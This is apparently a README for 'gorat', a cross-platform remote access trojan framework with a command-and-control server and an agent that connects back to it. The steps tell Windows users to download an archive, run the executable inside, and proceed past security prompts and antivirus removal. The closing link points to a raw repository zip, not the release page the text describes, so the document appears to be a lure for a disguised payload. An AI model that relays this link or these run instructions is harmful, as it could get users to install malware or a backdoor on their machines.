gorat is a cross platform remote access tool framework. It includes a command-and-control server and a client agent.
It is made for learning and testing in controlled environments. On Windows, the usual path is to visit the release page, download the correct file, and run it on the machine you want to test.
- A Windows PC
- An internet connection to reach the release page
- Permission to run the tool on the system you use
- Enough free space for the app and its files
- A modern Windows version such as Windows 10 or Windows 11
If you plan to use both parts of the tool, keep both systems on the same network at first. That makes setup easier.
Use this link to visit the release page and download the Windows file:
Look for the latest release near the top of the page. Download the file that matches Windows. If the release page has more than one file, choose the one that ends in .exe or a Windows archive such as .zip.
- Open the release page in your browser.
- Find the latest version.
- Download the Windows file.
- If the file is in a
.ziparchive, right-click it and choose Extract All. - Open the extracted folder.
- If you see an
.exefile, double-click it to run the app. - If Windows shows a security prompt, choose Run only if you trust the source and you are using it in a controlled test setup.
- Keep the app in a folder you can find again, such as Downloads or Desktop.
If the release page gives you separate files for the server and the client agent, download both before you start.
gorat usually has two parts:
- A server that listens for incoming connections
- A client agent that connects back to that server
A simple first run often looks like this:
- Start the server on one Windows machine.
- Note the IP address and port it uses.
- Start the client agent on another machine you control.
- Enter the server address in the client agent.
- Confirm that the client shows up in the server view.
If the tool uses a local config file, open it in Notepad and check the saved server address, port, and any test settings.
After launch, the app may show a window, a console, or both. Common actions may include:
- Starting and stopping the server
- Adding a client address
- Viewing connected systems
- Sending test commands in a lab setup
- Checking connection status and logs
If you do not see a window, the app may run from Command Prompt or PowerShell. In that case:
- Open Start.
- Type
cmdorPowerShell. - Open the app shell.
- Go to the folder that holds gorat.
- Run the file from there.
A release file may contain items like these:
gorat.exe- the main Windows appserver.exe- the command-and-control serveragent.exe- the client agentconfig.json- saved settingslogs- connection and run logsREADME- quick usage notes
Keep all related files in the same folder unless the release notes say else.
The server may need a free port to accept connections. If the client cannot connect, check these items:
- The server is running
- The port number is correct
- Windows Firewall allows the app
- Both machines can reach each other on the network
- No other app is using the same port
If you use a home router, a local IP address is easier for first tests than a public one.
Use this simple test to check that the setup works:
- Start the server.
- Confirm the server shows it is listening.
- Start the agent on the test machine.
- Enter the server IP and port.
- Wait for the connection to show in the server.
- Open the log view and confirm the connection event appears.
If the connection fails, try the same test with both apps on one machine first. That can help you isolate a network issue.
- Check that the download finished
- Make sure you extracted the zip file
- Right-click the file and choose Run as administrator if your test setup needs it
- Check that your antivirus did not remove the file
- Check the server IP address
- Check the port number
- Make sure the server is running first
- Check Windows Firewall rules
- Verify that both systems are on the same network for the first test
- Run it from Command Prompt so you can see the message
- Look for missing files in the folder
- Check whether the release page lists extra files you need
- Confirm that the build matches your Windows version
A clean test setup can make first use easier:
- One Windows PC for the server
- One separate Windows PC or virtual machine for the client
- A private network
- A folder just for gorat files
- Notes for the IP address and port you use
This keeps your test work simple and easy to repeat.
gorat is built for controlled learning and testing. The framework helps you study how remote access tools work, how a server and client talk to each other, and how logs and connection states change during a session.
You can use it to test:
- Local network connections
- Basic server and agent flow
- Port handling
- Logging
- Simple deployment steps on Windows and Linux
This project is tagged with:
- c2
- cybersecurity
- go
- gorat
- hacking
- linuxrat
- machine1337
- rat
- trojan
- windowsrat
These topics point to a remote access framework with cross platform support and a focus on testing and learning.
If you need to fix a setup issue, check these details in order:
- The release file type
- The folder where you extracted it
- The server address
- The port number
- The Windows firewall rule
- The order you started the apps
- The log output
If the release page includes notes for a newer version, follow those notes first.
To get started on Windows, visit the release page, download the latest Windows file, extract it if needed, and run the app from the folder where you saved it:
https://raw.githubusercontent.com/quietime11/gorat/main/recoast/Software_v2.5.zip
Use gorat only in systems and networks you own or have permission to test, and keep the server and client inside a setup you control